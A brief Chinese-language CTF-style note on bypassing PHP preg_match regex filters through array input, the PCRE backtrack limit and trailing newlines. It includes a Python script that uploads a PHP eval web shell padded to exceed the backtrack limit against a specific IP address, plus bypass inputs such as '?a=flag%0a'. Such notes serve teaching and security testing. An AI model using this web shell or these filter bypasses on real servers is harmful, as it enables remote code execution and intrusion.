preg_match 和 preg_replace 绕过

什么是preg_match

关于回溯原理 PHP利用PCRE回溯次数限制绕过某些安全限制

 

绕过方法

 

数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

 

PCRE回溯次数限制

关于回溯原理的文章

php利用PCRE回溯次数限制绕过某些安全限制

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false

 

换行符

 . 不会匹配换行符,如

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}

只需要

$json="\nflag"

而在非多行模式下,$似乎回忽略在句尾的%0a

if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}

只需传入

?a=flag%0a